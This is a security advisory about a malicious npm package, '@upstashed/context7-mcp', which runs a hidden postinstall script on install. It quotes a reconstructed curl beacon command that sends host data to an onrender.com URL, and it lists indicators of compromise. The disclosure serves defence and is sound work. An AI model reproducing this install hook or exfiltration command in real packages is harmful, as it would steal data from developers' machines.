VDB
GCVE-110-OSM-2026-5511
GCVE-110-OSM-2026-5511
Advisory PublishedCVSS 8.8/10
Malicious package detected. Behaviors: data exfiltration, code execution, install-time execution.
Entrypoint: scripts/postinstall.js (install-hook: node scripts/postinstall.js)
Exfil: curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm&h=${...}" (reconstructed, recovery: reconstructed)
Payload: scripts/postinstall.js
Key findings:
- Install Hook Executes Local JS File in package.json: ""postinstall": "node scripts/postinstall.js""
- Shell Command Execution in scripts/postinstall.js: "require("child_process")"
- Silent Process Execution in scripts/postinstall.js: "stdio: "ignore""
- Suspicious URL Pattern in Template Literal in scripts/postinstall.js: "curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm..."
IOCs:
- domains: render-2lu4.onrender.com
- urls: https://render-2lu4.onrender.com/beacon?poc=context7_npm
- payloadFileHash: a5872005ea1e737e0738d388b62bac59e150e8f1c71ee770036970011889a09b
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
8.8/10
High · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | @upstashed/context7-mcp | all (affected) | — |
Aliases
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